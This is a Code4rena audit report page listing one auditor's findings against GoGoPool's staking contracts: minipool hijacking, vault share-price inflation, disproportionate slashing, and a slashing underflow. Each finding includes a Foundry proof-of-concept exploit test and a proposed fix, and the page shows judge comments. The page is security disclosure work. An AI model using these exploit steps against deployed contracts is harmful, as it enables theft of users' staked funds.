Platform: Code4rena
Start Date: 15/12/2022
Pot Size: $128,000 USDC
Total HM: 28
Participants: 111
Period: 19 days
Judge: GalloDaSballo
Total Solo HM: 1
Id: 194
League: ETH
Rank: 15/111
Findings: 8
Award: $1,830.96
π Selected for report: 2
π Solo Findings: 0
π Selected for report: immeas
Also found by: 0xdeadbeef0x, Allarious, Franfran, HollaDieWaldfee, Josiah, RaymondFam, SmartSek, ast3ros, unforgiven
484.3389 USDC - $484.34
Node operators that signed up for a duration longer then the minimum 14 days will get slashed disproportionally.
Additionally, the collateralization ratio will become lower then minimum and recreateMinipool
will fail until more funds are staked.
In the end of each validation period (14 days) if no rewards were received from the Avalanche validator, the protocol will slash GGP tokens from the node operator.
recordStakingEnd
:
https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L425
function recordStakingEnd( address nodeID, uint256 endTime, uint256 avaxTotalRewardAmt ) external payable { ---------- // No rewards means validation period failed, must slash node ops GGP. if (avaxTotalRewardAmt == 0) { slash(minipoolIndex); } ---------- }
The slashing calculation is based on the duration
the node operator has set when creating the minipool and is calculated in getExpectedAVAXRewardsAmt
.
function slash(int256 index) private { ---------- uint256 duration = getUint(keccak256(abi.encodePacked("minipool.item", index, ".duration"))); uint256 avaxLiquidStakerAmt = getUint(keccak256(abi.encodePacked("minipool.item", index, ".avaxLiquidStakerAmt"))); uint256 expectedAVAXRewardsAmt = getExpectedAVAXRewardsAmt(duration, avaxLiquidStakerAmt); uint256 slashGGPAmt = calculateGGPSlashAmt(expectedAVAXRewardsAmt); ---------- staking.slashGGP(owner, slashGGPAmt); }
getExpectedAVAXRewardsAmt
:
https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L560
function getExpectedAVAXRewardsAmt(uint256 duration, uint256 avaxAmt) public view returns (uint256) { ProtocolDAO dao = ProtocolDAO(getContractAddress("ProtocolDAO")); uint256 rate = dao.getExpectedAVAXRewardsRate(); return (avaxAmt.mulWadDown(rate) * duration) / 365 days; }
The rate
is set to 0.1 on ProtocolDAO
creation.
As can be seen above, the calculation is performed on the entire duration of the minipool.
A node operator that has set the minipool to work for 1 year would expect that if his node fails for one validation cycle (14 days) he would be slashed only for that 14 days validation and not for the entire year. This expectation make sense since the protocol manages recreating the minipool every 14 days.
With the current implementation:
Additionally, the collaterization ratio of NodeOp#2 falls low because of the slash and the recreateMinipool
fails. Therefore NodeOp#2 will not continue in validating Avalanche.
The POC will demonstrate both NodeOp#1 and NodeOp#2
Add the following test to MinipoolManager.t.sol
:
https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/test/unit/MinipoolManager.t.sol#L175
function testDisproportionalSlashing() public { uint256 depositAmt = 1000 ether; uint256 avaxAssignmentRequest = 1000 ether; uint256 validationAmt = depositAmt + avaxAssignmentRequest; uint128 ggpStakeAmt = 100 ether; address nodeOp1 = address(0x1111); address nodeOp2 = address(0x2222); // Fund node operators dealGGP(nodeOp1, ggpStakeAmt); vm.deal(nodeOp1, depositAmt); dealGGP(nodeOp2, ggpStakeAmt); vm.deal(nodeOp2, depositAmt); // Create minipool for nodeOp1 with duration of 14 days vm.startPrank(nodeOp1); ggp.approve(address(staking), MAX_AMT); staking.stakeGGP(ggpStakeAmt); MinipoolManager.Minipool memory mp1 = createMinipool(depositAmt, avaxAssignmentRequest, 14 days); vm.stopPrank(); // Create minipool for nodeOp2 with duration of 365 days vm.startPrank(nodeOp2); ggp.approve(address(staking), MAX_AMT); staking.stakeGGP(ggpStakeAmt); MinipoolManager.Minipool memory mp2 = createMinipool(depositAmt, avaxAssignmentRequest, 365 days); vm.stopPrank(); // Fund the ggAVAX address liqStaker1 = getActorWithTokens("liqStaker1", MAX_AMT, MAX_AMT); vm.prank(liqStaker1); ggAVAX.depositAVAX{value: MAX_AMT}(); // claimAndInitiateStaking is executed and staking is recorded vm.startPrank(address(rialto)); minipoolMgr.claimAndInitiateStaking(mp1.nodeID); minipoolMgr.claimAndInitiateStaking(mp2.nodeID); minipoolMgr.recordStakingStart(mp1.nodeID, keccak256("txid1"), block.timestamp); minipoolMgr.recordStakingStart(mp2.nodeID, keccak256("txid2"), block.timestamp); // Staking has ended with no rewards, slashing happens here skip(14 days); minipoolMgr.recordStakingEnd{value: validationAmt}(mp1.nodeID, block.timestamp, 0 ether); minipoolMgr.recordStakingEnd{value: validationAmt}(mp2.nodeID, block.timestamp, 0 ether); vm.stopPrank(); // Validate that only 0.003835616438356164383 AVAX of ggpStakeAmt is slashed for nodeOp1 assertEq(minipoolMgr.getExpectedAVAXRewardsAmt(14 days, avaxAssignmentRequest), 3835616438356164383); assertEq(staking.getGGPStake(nodeOp1), (ggpStakeAmt) - 3835616438356164383); // Validate that all ggpStakeAmt is slashed for nodeOp2 assertEq(minipoolMgr.getExpectedAVAXRewardsAmt(365 days, avaxAssignmentRequest), ggpStakeAmt); assertEq(staking.getGGPStake(nodeOp2), 0); // NodeOp2 will not be able to continue to validating the next cycles vm.prank(address(rialto)); vm.expectRevert(MinipoolManager.InsufficientGGPCollateralization.selector); minipoolMgr.recreateMinipool(mp2.nodeID); }
To run the POC, execute:
forge test -m testDisproportionalSlashing -v
Expected output:
Running 1 test for test/unit/MinipoolManager.t.sol:MinipoolManagerTest [PASS] testDisproportionalSlashing() (gas: 2260126) Test result: ok. 1 passed; 0 failed; finished in 7.20ms
VS Code, Foundry
Because all validation rounds are 14 days, set the getExpectedAVAXRewardsAmt
to calculate using 14 days instead of duration.
#0 - c4-judge
2023-01-10T17:52:42Z
GalloDaSballo marked the issue as duplicate of #493
#1 - c4-judge
2023-02-08T09:46:40Z
GalloDaSballo marked the issue as satisfactory
π Selected for report: 0xdeadbeef0x
Also found by: 0Kage, 0xc0ffEE, 0xmint, AkshaySrivastav, Allarious, Ch_301, Franfran, HollaDieWaldfee, IllIllI, Jeiwan, Lirios, Manboy, adriro, ak1, bin2chen, caventa, chaduke, clems4ever, cozzetti, datapunk, imare, immeas, kaliberpoziomka8552, ladboy233, pauliax, peritoflores, rvierdiiev, sces60107, sk8erboy, stealthyz, unforgiven, wagmi, wallstreetvilkas, yixxas
12.9148 USDC - $12.91
A malicious actor can hijack a minipool of any node operator that finished the validation period or had an error.
The impacts:
The protocol created a state machine that validates transitions between minipool states. For this exploit it is important to understand three states:
Prelaunch
- This state is the initial state when a minipool is created. The created minipool will have a status of Prelaunch
until liquid stakers funds are matched and rialto
stakes 2000 AVAX into Avalanche.Withdrawable
- This state is set when the 14 days validation period is over. In this state:
2.1. rialto
returned 1000 AVAX to the liquid stakers and handled reward distribution.
2.2. Node operators can withdraw their staked funds and rewards.
2.3. If the node operator signed up for a duration longer than 14 days rialto
will recreate the minipool and stake it for another 14 days.Error
- This state is set when rialto
has an issue to stake the funds in AvalancheThe state machine allows transitions according the requireValidStateTransition
function:
https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L164
function requireValidStateTransition(int256 minipoolIndex, MinipoolStatus to) private view { ------ } else if (currentStatus == MinipoolStatus.Withdrawable || currentStatus == MinipoolStatus.Error) { isValid = (to == MinipoolStatus.Finished || to == MinipoolStatus.Prelaunch); } else if (currentStatus == MinipoolStatus.Finished || currentStatus == MinipoolStatus.Canceled) { // Once a node is finished/canceled, if they re-validate they go back to beginning state isValid = (to == MinipoolStatus.Prelaunch); ------
In the above restrictions, we can see that the following transitions are allowed:
Withdrawable
state to Prelaunch
state. This transition enables rialto
to call recreateMinipool
Finished
state to Prelaunch
state. This transition allows a node operator to re-use their nodeID to stake again in the protocol.Error
state to Prelaunch
state. This transition allows a node operator to re-use their nodeID to stake again in the protocol after an error.#2 is a needed capability, therefore createMinipool
allows overriding a minipool record if:
nodeID
already exists and transition to Prelaunch
is permitted
createMinipool
:
https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L242
function createMinipool( address nodeID, uint256 duration, uint256 delegationFee, uint256 avaxAssignmentRequest ) external payable whenNotPaused { --------- // Create or update a minipool record for nodeID // If nodeID exists, only allow overwriting if node is finished or canceled // (completed its validation period and all rewards paid and processing is complete) int256 minipoolIndex = getIndexOf(nodeID); if (minipoolIndex != -1) { requireValidStateTransition(minipoolIndex, MinipoolStatus.Prelaunch); resetMinipoolData(minipoolIndex); ---------- setUint(keccak256(abi.encodePacked("minipool.item", minipoolIndex, ".status")), uint256(MinipoolStatus.Prelaunch)); ---------- setAddress(keccak256(abi.encodePacked("minipool.item", minipoolIndex, ".owner")), msg.sender); ---------- }
THE BUG: createMinipool
can be called by Anyone with the nodeID
of any node operator.
If createMinipool
is called at the Withdrawable
state or Error
state:
Therefore, the minipool is hijacked and the node operator will not be able to withdraw their funds.
As shown above, an attacker can always hijack the minipool and lock the node operators funds.
A hacker can hijack the minipool and immediately cancel the pool after a 14 day period is finished or an error state. Results:
Consider the following steps:
node-1337
.node-123
and finished the 14 days stake period. State is Withdrawable
.createMinipool
with node-123
and deposits 1000 AVAX. Hacker is now owner of the minipoolcancelMinipool
of node-123
and receives his staked 1000 AVAX.node-1337
and node-123
The above step #1 is not necessary but allow the hacker to immediately cancel the minipool without waiting 5 days (See other submitted bug #211: "Anti griefing mechanism can be bypassed")
βββββββββββββ βββββββββββββ βββββββββββββ βββββββββββββ β β β β β β β β β Rialto β β NodeOp β β Minipool β β Hacker β β β β β β Manager β β β βββββββ¬ββββββ βββββββ¬ββββββ βββββββ¬ββββββ βββββββ¬ββββββ βclaimAndInitiate(Node-1337)β βcreateMinipool(Node-1337) β βrecordStakingStart(...) β ββββββββββββββββββββββββββββ€ ββββββββββββββ βββββββββββββββββββββββββββββΌββββββββββββββββββββββββΊβ β β 1000 AVAX β β β β β β 100 GPP β β βcreateMinipool(Node-123)β β ββββββββββββββ βclaimAndInitiate(Node-123) βββββββββββββββββββββββββΊβ β βrecordStakingStart(...) β β β βββββββββββββββββββββββββββββΌββββββββββββββββββββββββΊβ β ββββββββββββ β β β β β14 days β βrecordStakingEnd(Node-1337)β β β ββββββββββββ βrecordStakingEnd(Node-123) β//STATE: WITHDRAWABLE// β β ββββββββββββββ βββββββββββββββββββββββββββββΌββββββββββββββββββββββββΊβ β β 1000 AVAX β β β βcreateMinipool(Node-123) β βHacker=Ownerβ β β ββββββββββββββββββββββββββββ€ ββββββββββββββ β βwithdrawMinipoolF..(123)β β β βββββββββββββββββββββββββΊβcancleMinipool(Node-123) β β β REVERT! ββββββββββββββββββββββββββββ€ β ββββββββββββββββββββββββββ€ 1000 AVAX β β β βββββββββββββββββββββββββββΊβ β β ββββββββββββββββββ βwithdrawMinipoolFunds(1337β ββββββββββββ β β β NodeOp loses β ββββββββββββββββββββββββββββ€ βWithdraw β β β β his 1000 AVAX β β 1000 AVAX + REWARDS β βstake and β β β β Stake, cannot β βββββββββββββββββββββββββββΊβ βrewards β β β β withdraw β β β ββββββββββββ β β ββββββββββββββββββ β βββββββββββββββββ β β β β βHacker loses noβ β β β β βfunds, can β β β β β βwithdraw GPP β β β β β βββββββββββββββββ β
In this scenario the NodeOp registers for a duration longer then 14 days. The hacker will hijack the minipool after 14 days and earn rewards on behalf of the node operators node for the rest of the duration. As the NodeOp registers for a longer period of time, it is likely he will not notice he is not the owner of the minipool and continue to use his node to validate Avalanche.
Results:
Important to note:
recordStakingEnd
and recreateMinipool
are not called in the same transaction by rialto
.recordStakingEnd
and recreateMinipool
single/multi transactions for information and clarity anyway.Consider the following steps:
node-1337
.node-123
for 28 days duration and finished the 14 days stake period. State is Withdrawable
.createMinipool
with node-1234
and deposits 1000 AVAX. Hacker is now owner of minipoolrecreateMinipool
to restake the minipool in Avalanche. (This time: the owner is the hacker, the hardware is NodeOp)The POC will demonstrate scenario #1.
Add the following test to MinipoolManager.t.sol
:
https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/test/unit/MinipoolManager.t.sol#L175
function testHijackMinipool() public { uint256 duration = 2 weeks; uint256 depositAmt = 1000 ether; uint256 avaxAssignmentRequest = 1000 ether; uint256 rewards = 10 ether; uint256 expectedRewards = (rewards/2)+(rewards/2).mulWadDown(dao.getMinipoolNodeCommissionFeePct()); uint256 validationAmt = depositAmt + avaxAssignmentRequest; uint128 ggpStakeAmt = 100 ether; address hacker = address(0x1337); // Fund hacker with exact AVAX and gpp vm.deal(hacker, depositAmt*2); dealGGP(hacker, ggpStakeAmt); // Fund nodeOp with exact AVAX and gpp nodeOp = address(0x123); vm.deal(nodeOp, depositAmt); dealGGP(nodeOp, ggpStakeAmt); // fund ggAVAX address lilly = getActorWithTokens("lilly", MAX_AMT, MAX_AMT); vm.prank(lilly); ggAVAX.depositAVAX{value: MAX_AMT}(); assertEq(lilly.balance, 0); vm.startPrank(hacker); // Hacker stakes GGP ggp.approve(address(staking), ggpStakeAmt); staking.stakeGGP(ggpStakeAmt); // Create minipool for hacker MinipoolManager.Minipool memory hackerMp = createMinipool(depositAmt, avaxAssignmentRequest, duration); vm.stopPrank(); vm.startPrank(nodeOp); // nodeOp stakes GGP ggp.approve(address(staking), ggpStakeAmt); staking.stakeGGP(ggpStakeAmt); // Create minipool for nodeOp MinipoolManager.Minipool memory nodeOpMp = createMinipool(depositAmt, avaxAssignmentRequest, duration); vm.stopPrank(); // Rialto stakes both hackers and nodeOp in avalanche vm.startPrank(address(rialto)); minipoolMgr.claimAndInitiateStaking(nodeOpMp.nodeID); minipoolMgr.claimAndInitiateStaking(hackerMp.nodeID); // Update that staking has started bytes32 txID = keccak256("txid"); minipoolMgr.recordStakingStart(nodeOpMp.nodeID, txID, block.timestamp); minipoolMgr.recordStakingStart(hackerMp.nodeID, txID, block.timestamp); // Skip 14 days of staking duration skip(duration); // Update that staking has ended and funds are withdrawable minipoolMgr.recordStakingEnd{value: validationAmt + rewards}(nodeOpMp.nodeID, block.timestamp, 10 ether); minipoolMgr.recordStakingEnd{value: validationAmt + rewards}(hackerMp.nodeID, block.timestamp, 10 ether); vm.stopPrank(); /// NOW STATE: WITHDRAWABLE /// vm.startPrank(hacker); // Hacker creates a minipool using nodeID of nodeOp // Hacker is now the owner of nodeOp minipool minipoolMgr.createMinipool{value: depositAmt}(nodeOpMp.nodeID, duration, 0.02 ether, avaxAssignmentRequest); // Hacker immediatally cancels the nodeOp minipool, validate 1000 AVAX returned minipoolMgr.cancelMinipool(nodeOpMp.nodeID); assertEq(hacker.balance, depositAmt); // Hacker withdraws his own minipool and receives 1000 AVAX + rewards minipoolMgr.withdrawMinipoolFunds(hackerMp.nodeID); assertEq(hacker.balance, depositAmt + depositAmt + expectedRewards); // Hacker withdraws his staked ggp staking.withdrawGGP(ggpStakeAmt); assertEq(ggp.balanceOf(hacker), ggpStakeAmt); vm.stopPrank(); vm.startPrank(nodeOp); // NodeOp tries to withdraw his funds from the minipool // Transaction reverts because NodeOp is not the owner anymore vm.expectRevert(MinipoolManager.OnlyOwner.selector); minipoolMgr.withdrawMinipoolFunds(nodeOpMp.nodeID); // NodeOp can still release his staked gpp staking.withdrawGGP(ggpStakeAmt); assertEq(ggp.balanceOf(nodeOp), ggpStakeAmt); vm.stopPrank(); }
To run the POC, execute:
forge test -m testHijackMinipool -v
Expected output:
Running 1 test for test/unit/MinipoolManager.t.sol:MinipoolManagerTest [PASS] testHijackMinipool() (gas: 2346280) Test result: ok. 1 passed; 0 failed; finished in 9.63s
VS Code, Foundry
Fortunately, the fix is very simple.
The reason createMinipool
is called with an existing nodeID
is to re-use the nodeID
again with the protocol. GoGoPool can validate that the owner is the same address as the calling address. GoGoPool have already implemented a function that does this: onlyOwner(index)
.
Consider placing onlyOwner(index)
in the following area:
https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L243
function createMinipool( address nodeID, uint256 duration, uint256 delegationFee, uint256 avaxAssignmentRequest ) external payable whenNotPaused { ---------- int256 minipoolIndex = getIndexOf(nodeID); if (minipoolIndex != -1) { onlyOwner(minipoolIndex); // AUDIT: ADDED HERE ---------- } else { ---------- }
#0 - GalloDaSballo
2023-01-09T12:35:55Z
Chart + Coded POC -> Primary
#1 - c4-judge
2023-01-09T12:35:59Z
GalloDaSballo marked the issue as primary issue
#2 - 0xju1ie
2023-01-18T14:21:40Z
#3 - 0xju1ie
2023-01-30T12:11:13Z
Thinking this should be primary actually
#4 - GalloDaSballo
2023-01-31T13:25:39Z
The Warden has shown how, due to a lax check for State Transition, a Pool ID can be hijacked, causing the loss of the original deposit
Because the attack is contingent on a logic flaw and can cause a complete loss of Principal, I agree with High Severity
#5 - c4-judge
2023-01-31T13:25:46Z
GalloDaSballo marked the issue as selected for report
#6 - c4-judge
2023-02-03T12:33:01Z
GalloDaSballo changed the severity to 2 (Med Risk)
#7 - c4-judge
2023-02-03T21:36:09Z
GalloDaSballo changed the severity to 3 (High Risk)
#8 - c4-judge
2023-02-08T08:26:46Z
GalloDaSballo changed the severity to 2 (Med Risk)
#9 - c4-judge
2023-02-08T08:29:28Z
GalloDaSballo changed the severity to 3 (High Risk)
#10 - GalloDaSballo
2023-02-08T08:29:30Z
Bug with severity change, fixing back to High
#11 - GalloDaSballo
2023-02-09T08:14:59Z
Separate note: I created https://github.com/code-423n4/2022-12-gogopool-findings/issues/904 For the Finding 2 of this report, please refrain from groupind findings especially when they use different functions and relate to different issues
#12 - c4-judge
2023-02-09T08:53:06Z
GalloDaSballo changed the severity to QA (Quality Assurance)
#13 - Simon-Busch
2023-02-09T12:44:37Z
Changed severity back from QA to H as requested by @GalloDaSballo
π Selected for report: 0xdeadbeef0x
Also found by: 0xLad, 0xNazgul, 0xSmartContract, 0xbepresent, Arbor-Finance, Breeje, HE1M, IllIllI, Qeew, Rolezn, SEVEN, SamGMK, SmartSek, TomJ, WatchDogs, ak1, btk, ck, datapunk, dic0de, eierina, fs0c, hansfriese, koxuan, ladboy233, peanuts, rvierdiiev, sces60107, tonisives, unforgiven, yongskiws
19.3766 USDC - $19.38
Inflation of ggAVAX
share price can be done by depositing as soon as the vault is created.
Impact:
If ggAVAX
is not seeded as soon as it is created, a malicious depositor can deposit 1 WEI of AVAX to receive 1 share.
The depositor can donate WAVAX to the vault and call syncRewards
. This will start inflating the price.
When the attacker front-runs the creation of the vault, the attacker:
depositAVAX
to receive 1 shareWAVAX
to ggAVAX
syncRewards
to inflate exchange rateThe issue exists because the exchange rate is calculated as the ratio between the totalSupply
of shares and the totalAssets()
.
When the attacker transfers WAVAX
and calls syncRewards()
, the totalAssets()
increases gradually and therefore the exchange rate also increases.
convertToShares
:
https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/tokens/upgradeable/ERC4626Upgradeable.sol#L123
function convertToShares(uint256 assets) public view virtual returns (uint256) { uint256 supply = totalSupply; // Saves an extra SLOAD if totalSupply is non-zero. return supply == 0 ? assets : assets.mulDivDown(supply, totalAssets()); }
Its important to note that while it is true that cycle length is 14 days, in practice time between cycles can very between 0-14 days. This is because syncRewards validates that the next reward cycle is evenly divided by the length (14 days).
function syncRewards() public { ---------- // Ensure nextRewardsCycleEnd will be evenly divisible by `rewardsCycleLength`. uint32 nextRewardsCycleEnd = ((timestamp + rewardsCycleLength) / rewardsCycleLength) * rewardsCycleLength; --------- }
Therefore:
syncRewards
is to the next evenly divisible value of rewardsCycleLength
, the closer the next rewardsCycleEnd
will be.syncRewards
calls is, the higher revenue the attacker will get.Edge case example:
syncRewards
is called with the timestamp 1672876799, syncRewards
will be able to be called again 1 second later.
(1672876799 + 14 days) / 14 days) * 14 days) = 1672876800
Additionally, the price inflation causes a revert for users who want to deposit less then the donation (WAVAX transfer) amount, due to precision rounding when depositing.
function depositAVAX() public payable returns (uint256 shares) { ------ if ((shares = previewDeposit(assets)) == 0) { revert ZeroShares(); } ------ }
previewDeposit
and convertToShares
:
https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/tokens/upgradeable/ERC4626Upgradeable.sol#L133
https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/tokens/upgradeable/ERC4626Upgradeable.sol#L123
function convertToShares(uint256 assets) public view virtual returns (uint256) { uint256 supply = totalSupply; // Saves an extra SLOAD if totalSupply is non-zero. return supply == 0 ? assets : assets.mulDivDown(supply, totalAssets()); } function previewDeposit(uint256 assets) public view virtual returns (uint256) { return convertToShares(assets); }
The POC will demonstrate the below scenario:
syncRewards
when block.timestamp = 1672876799
.syncRewards
again. Share price fully inflated.Additionally, the POC will show that depositors trying to deposit less then the donation amount will revert.
Add the following test to TokenggAVAX.t.sol
:
https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/test/unit/TokenggAVAX.t.sol#L108
function testShareInflation() public { uint256 depositAmount = 1; uint256 aliceDeposit = 2000 ether; uint256 donationAmount = 1000 ether; vm.deal(bob, donationAmount + depositAmount); vm.deal(alice, aliceDeposit); vm.warp(1672876799); // create new ggAVAX ggAVAXImpl = new TokenggAVAX(); ggAVAX = TokenggAVAX(deployProxy(address(ggAVAXImpl), address(guardian))); ggAVAX.initialize(store, ERC20(address(wavax))); // Bob deposits 1 WEI of AVAX vm.prank(bob); ggAVAX.depositAVAX{value: depositAmount}(); // Bob transfers 1000 AVAX to vault vm.startPrank(bob); wavax.deposit{value: donationAmount}(); wavax.transfer(address(ggAVAX), donationAmount); vm.stopPrank(); // Bob Syncs rewards ggAVAX.syncRewards(); // 1 second has passed // This can range between 0-14 days. Every seconds, exchange rate rises skip(1 seconds); // Alice deposits 2000 AVAX vm.prank(alice); ggAVAX.depositAVAX{value: aliceDeposit}(); //Expectet revert when any depositor deposits less then 1000 AVAX vm.expectRevert(bytes4(keccak256("ZeroShares()"))); ggAVAX.depositAVAX{value: 10 ether}(); // Bob withdraws maximum assests for his share uint256 maxWithdrawAssets = ggAVAX.maxWithdraw(bob); vm.prank(bob); ggAVAX.withdrawAVAX(maxWithdrawAssets); //Validate bob has withdrawn 1500 AVAX assertEq(bob.balance, 1500 ether); // Alice withdraws maximum assests for her share maxWithdrawAssets = ggAVAX.maxWithdraw(alice); ggAVAX.syncRewards(); // to update accounting vm.prank(alice); ggAVAX.withdrawAVAX(maxWithdrawAssets); // Validate that Alice withdraw 1500 AVAX + 1 (~500 AVAX loss) assertEq(alice.balance, 1500 ether + 1); }
To run the POC, execute:
forge test -m testShareInflation -v
Expected output:
Running 1 test for test/unit/TokenggAVAX.t.sol:TokenggAVAXTest [PASS] testShareInflation() (gas: 3874399) Test result: ok. 1 passed; 0 failed; finished in 8.71s
VS Code, Foundry
When creating the vault add initial funds in order to make it harder to inflate the price. Best practice would add initial funds as part of the initialization of the contract (to prevent front-running).
#0 - GalloDaSballo
2023-01-08T13:10:50Z
Best POC overall
#1 - c4-judge
2023-01-08T13:10:54Z
GalloDaSballo marked the issue as primary issue
#2 - c4-sponsor
2023-01-11T17:43:51Z
emersoncloud marked the issue as sponsor confirmed
#3 - GalloDaSballo
2023-01-29T18:37:27Z
The Warden has shown how, by performing a small deposit, followed by a transfer, shares can be rebased, causing a grief in the best case, and complete fund loss in the worst case for every subsequent depositor.
While the finding is fairly known, it's impact should not be understated, and because of this I agree with High Severity.
I recommend watching this presentation by Riley Holterhus which shows possible mitigations for the attack: https://youtu.be/_pO2jDgL0XE?t=601
#4 - c4-judge
2023-01-29T18:37:32Z
GalloDaSballo marked the issue as selected for report
π Selected for report: HollaDieWaldfee
Also found by: 0xdeadbeef0x, bin2chen, cozzetti, danyams, enckrish, imare, ladboy233
747.4365 USDC - $747.44
Node operators that set a duration for more than 365 days and did not perform well in the validation cycle will cause an underflow revert when slashed.
Impacts:
createMinipool
does not limit the the duration
of a minipool. A node operator can set the duration
to more than 365 days.
https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L257
function createMinipool( address nodeID, uint256 duration, uint256 delegationFee, uint256 avaxAssignmentRequest ) external payable whenNotPaused { ---------- setUint(keccak256(abi.encodePacked("minipool.item", minipoolIndex, ".duration")), duration); ---------- }
After the 14 days validation period. If no rewards were received, recordStakingEnd
would attempt to slash the node operator.
The slashing mechanism uses the getExpectedAVAXRewardsAmt
to calculate the number of expected AVAX rewards according to duration
.
getExpectedAVAXRewardsAmt
:
https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L560
function getExpectedAVAXRewardsAmt(uint256 duration, uint256 avaxAmt) public view returns (uint256) { ProtocolDAO dao = ProtocolDAO(getContractAddress("ProtocolDAO")); uint256 rate = dao.getExpectedAVAXRewardsRate(); return (avaxAmt.mulWadDown(rate) * duration) / 365 days; }
Currently 100 AVAX is required to be staked in GGP
, this is 10%
of the assigned liquidity from ggAVAX
needs to be staked.
When duration
is larger than 365 days, the returned amount in getExpectedAVAXRewardsAmt
is larger than the GGP stake collateral (100 AVAX).
Therefore, when slashing an underflow occurs as more GGP
than the staked amount is slashed.
https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/Staking.sol#L96
function decreaseGGPStake(address stakerAddr, uint256 amount) internal { int256 stakerIndex = requireValidStaker(stakerAddr); subUint(keccak256(abi.encodePacked("staker.item", stakerIndex, ".ggpStaked")), amount); }
The POC demonstrates the underflow when the 14 days validation period is over. Depositor will not be able to receive his staked AVAX.
Add the following test to MinipoolManager.t.sol
:
https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/test/unit/MinipoolManager.t.sol#L175
function testMoreThan365days() public { uint256 duration = 2 weeks; uint256 depositAmt = 1000 ether; uint256 avaxAssignmentRequest = 1000 ether; uint256 validationAmt = depositAmt + avaxAssignmentRequest; uint128 ggpStakeAmt = 100 ether; // Create a legitimate node dealGGP(nodeOp, ggpStakeAmt); vm.startPrank(nodeOp); ggp.approve(address(staking), MAX_AMT); staking.stakeGGP(ggpStakeAmt); address nodeID = randAddress(); minipoolMgr.createMinipool{value: depositAmt}(nodeID, 379 days, 0.02 ether, avaxAssignmentRequest); index = minipoolMgr.getIndexOf(nodeID); MinipoolManager.Minipool memory mp1 = minipoolMgr.getMinipool(index); vm.stopPrank(); // Fund the ggAVAX address liqStaker1 = getActorWithTokens("liqStaker1", MAX_AMT, MAX_AMT); vm.prank(liqStaker1); ggAVAX.depositAVAX{value: MAX_AMT}(); // claimAndInitiateStaking is executed and staking is recorded vm.startPrank(address(rialto)); minipoolMgr.claimAndInitiateStaking(mp1.nodeID); minipoolMgr.recordStakingStart(mp1.nodeID, keccak256("txid"), block.timestamp); // Staking has ended with no rewards, slashing happens here // Expect for an underflow for slashing more than staked collatoral skip(duration); vm.expectRevert(abi.encodeWithSignature("Panic(uint256)", 0x11)); // "Arithmetic over/underflow" minipoolMgr.recordStakingEnd{value: validationAmt}(mp1.nodeID, block.timestamp, 0 ether); vm.stopPrank(); // Node operator cannot withdraw his funds vm.startPrank(nodeOp); vm.expectRevert(MinipoolManager.InvalidStateTransition.selector); minipoolMgr.withdrawMinipoolFunds(mp1.nodeID); vm.stopPrank(); }
To run the POC, execute:
forge test -m testMoreThan365days -v
Expected output:
Running 1 test for test/unit/MinipoolManager.t.sol:MinipoolManagerTest [PASS] testMoreThan365days() (gas: 1357080) Test result: ok. 1 passed; 0 failed; finished in 5.92ms
VS Code, Foundry
In createMinipool
, set an upper limit of duration
to 365 days.
#0 - c4-judge
2023-01-09T09:46:47Z
GalloDaSballo marked the issue as duplicate of #136
#1 - c4-judge
2023-02-03T19:40:44Z
GalloDaSballo changed the severity to 3 (High Risk)
#2 - c4-judge
2023-02-08T09:49:29Z
GalloDaSballo marked the issue as satisfactory
π Selected for report: hansfriese
Also found by: 0Kage, 0xdeadbeef0x, Allarious, Aymen0909, Ch_301, Franfran, HollaDieWaldfee, Jeiwan, Nyx, RaymondFam, SmartSek, adriro, betweenETHlines, bin2chen, cccz, datapunk, immeas, kaliberpoziomka8552, peritoflores, wagmi
21.713 USDC - $21.71
Node operators that signed up for a long duration of stake can cancel their stake and retrieve their funds.
Note:
recordStakingEnd
and recreateMinipool
are not called as a single transaction.The protocol re-stakes the NodeOps AVAX every 14 days after the validation period in Avalanche has ended.
In order to re-stake, the protocol calls recreateMinipool
after recordStakingEnd
was called.
recordStakingEnd
needs to be called in order to distribute rewards to liquid stakers.
When recordStakingEnd
is called, the state of the minipool becomes Withdrawable
.
https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L407
function recordStakingEnd( address nodeID, uint256 endTime, uint256 avaxTotalRewardAmt ) external payable { ---------- setUint(keccak256(abi.encodePacked("minipool.item", minipoolIndex, ".status")), uint256(MinipoolStatus.Withdrawable)); ---------- emit MinipoolStatusChanged(nodeID, MinipoolStatus.Withdrawable); }
The protocol has setup a transition between the following states:
Withdrawable
to Prelaunch
. This transition was intended to be used by rialto
to allow calling recordStakingEnd
and after recreateMinipool
.Withdrawable
to Finished
. This transition was intended to allow node operators to finish the minipool and get their funds
